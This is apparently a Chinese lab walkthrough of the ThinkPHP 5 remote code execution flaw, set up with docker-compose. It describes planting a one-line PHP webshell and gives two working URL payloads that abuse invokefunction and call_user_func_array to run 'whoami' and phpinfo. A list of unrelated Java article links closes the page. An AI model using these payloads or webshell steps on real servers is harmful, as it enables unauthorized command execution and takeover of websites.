常见框架漏洞—Thinkphp

1.搭建环境

cd /www/wwwroot/thinkphp/5-rce/

docker-compose up -d

2.访问我们搭建的环境

3.复制网站url到蓝鲸去测试漏洞

发现了两个漏洞

其中一个得到了一些信息

另一个漏洞我们在getshell中输入一句话木马,然后getshell,给我们生成了一个文件并上传到了文件,然后我们尝试访问

4.访问成功,然后我们传参

执行成功!

5.在url中输入:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

可以执行我们的系统命令

6.输入;

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

可以执行我们的代码

相关推荐
西岭千秋雪_7 小时前
Zookeeper实现分布式锁
java·分布式·后端·zookeeper·wpf
MarcoPage8 小时前
Python 字典推导式入门:一行构建键值对映射
java·linux·python
脸大是真的好~8 小时前
黑马JAVAWeb-11 请求参数为数组-XML自动封装-XML手动封装-增删改查-全局异常处理-单独异常分别处理
java
Hello.Reader10 小时前
Data Sink定义、参数与可落地示例
java·前端·网络
2401_8370885011 小时前
stringRedisTemplate.opsForHash().entries
java·redis
lkbhua莱克瓦2413 小时前
Java基础——集合进阶3
java·开发语言·笔记
蓝-萧13 小时前
使用Docker构建Node.js应用的详细指南
java·后端
多喝开水少熬夜13 小时前
Trie树相关算法题java实现
java·开发语言·算法
lkbhua莱克瓦2414 小时前
Java基础——集合进阶用到的数据结构知识点1
java·数据结构·笔记·github
音符犹如代码15 小时前
Java并发List实战:CopyOnWriteArrayList原理与ArrayList常见面试题
java·开发语言·面试·list